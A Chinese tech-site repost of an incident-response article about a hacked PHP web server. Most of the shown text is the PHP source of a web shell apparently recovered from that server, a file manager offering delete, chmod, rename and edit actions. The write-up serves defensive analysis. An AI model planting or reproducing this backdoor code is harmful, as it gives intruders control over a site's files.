加入收藏 | 设为首页 | 会员中心 | 我要投稿 核心网 (https://www.hxwgxz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

惨遭黑客入侵,记一次服务器被攻击的应急行动!

发布时间:2017-10-25 08:39:07 所属栏目:建站 来源:51CTO
导读:副标题#e# 如果你的 PHP 服务器被黑客入侵时该怎么办?这是我最近处理 Linux Web 服务器发现的一个问题。 PHP 服务器被黑时,会出现新的 PHP 文件,这与运行在服务器上的 wordpress 应用程序和特定的用户代理没有任何关系,所有的流量都被重定向到另一个站

   echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">

  •    <tr class="first">

  •        <td><center>Name</center></td>

  •        <td><center>Size</center></td>

  •        <td><center>Permissions</center></td>

  •        <td><center>Options</center></td>

  •    </tr>';

  •    foreach($scandir as $dir){

  •        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;

  •        echo "<tr>

  •        <td><a href="?path=$path/$dir">$dir</a></td>

  •        <td><center>--</center></td>

  •        <td><center>";

  •        if(is_writable("$path/$dir")) echo '<font color="green">';

  •        elseif(!is_readable("$path/$dir")) echo '<font color="red">';

  •        echo perms("$path/$dir");

  •        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';


  •        echo "</center></td>

  •        <td><center><form method="POST" action="?option&path=$path">

  •        <select name="opt">

  •    <option value=""></option>

  •        <option value="delete">Delete</option>

  •        <option value="chmod">Chmod</option>

  •        <option value="rename">Rename</option>

  •        </select>

  •        <input type="hidden" name="type" value="dir">

  •        <input type="hidden" name="name" value="$dir">

  •        <input type="hidden" name="path" value="$path/$dir">

  •        <input type="submit" value=">" />

  •        </form></center></td>

  •        </tr>";

  •    }

  •    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';

  •    foreach($scandir as $file){

  •        if(!is_file("$path/$file")) continue;

  •        $size = filesize("$path/$file")/1024;

  •        $size = round($size,3);

  •        if($size >= 1024){

  •            $size = round($size/1024,2).' MB';

  •        }else{

  •            $size = $size.' KB';

  •        }

  •        echo "<tr>

  •        <td><a href="?filesrc=$path/$file&path=$path">$file</a></td>

  •        <td><center>".$size."</center></td>

  •        <td><center>";

  •        if(is_writable("$path/$file")) echo '<font color="green">';

  •        elseif(!is_readable("$path/$file")) echo '<font color="red">';

  •        echo perms("$path/$file");

  •        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';

  •        echo "</center></td>

  •        <td><center><form method="POST" action="?option&path=$path">

  •        <select name="opt">

  •    <option value=""></option>

  •        <option value="delete">Delete</option>

  •        <option value="chmod">Chmod</option>

  •        <option value="rename">Rename</option>

  •        <option value="edit">Edit</option>

  •        </select>

  •        <input type="hidden" name="type" value="file">

  •        <input type="hidden" name="name" value="$file">

  •        <input type="hidden" name="path" value="$path/$file">

  •        <input type="submit" value=">" />

  •        </form></center></td>

  •        </tr>";

  •    }

  •    echo '</table>

  •    </div>';

  • }

  • echo '<br />Man Man <br />

  • </BODY>

  • </HTML>';

  • function perms($file){

  •    $perms = fileperms($file);

  • if (($perms & 0xC000) == 0xC000) {

  •    // Socket

  •    $info = 's';

  • } elseif (($perms & 0xA000) == 0xA000) {

  •    // Symbolic Link

  •    $info = 'l';

  • } elseif (($perms & 0x8000) == 0x8000) {

  •    // Regular

  •    $info = '-';

  • } elseif (($perms & 0x6000) == 0x6000) {

  •    // Block special

  •    $info = 'b';

  • } elseif (($perms & 0x4000) == 0x4000) {

  •    // Directory

  •    $info = 'd';

  • } elseif (($perms & 0x2000) == 0x2000) {

  •    // Character special

  •    $info = 'c';

  • } elseif (($perms & 0x1000) == 0x1000) {

  •    // FIFO pipe

  •    $info = 'p';

  • } else {

  •    // Unknown

  •    $info = 'u';

  • }

  • // Owner

  • $info .= (($perms & 0x0100) ? 'r' : '-');

  • $info .= (($perms & 0x0080) ? 'w' : '-');

  • $info .= (($perms & 0x0040) ?

  •            (($perms & 0x0800) ? 's' : 'x' ) :

  •            (($perms & 0x0800) ? 'S' : '-'));

  • // Group

  • $info .= (($perms & 0x0020) ? 'r' : '-');

  • $info .= (($perms & 0x0010) ? 'w' : '-');

  • $info .= (($perms & 0x0008) ?

  •            (($perms & 0x0400) ? 's' : 'x' ) :

  •            (($perms & 0x0400) ? 'S' : '-'));

  • // World

  • $info .= (($perms & 0x0004) ? 'r' : '-');

  • $info .= (($perms & 0x0002) ? 'w' : '-');

  • $info .= (($perms & 0x0001) ?

  •            (($perms & 0x0200) ? 't' : 'x' ) :

  •            (($perms & 0x0200) ? 'T' : '-'));

  •    return $info;

  • }

  • ?>


  • (编辑:核心网)

    【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读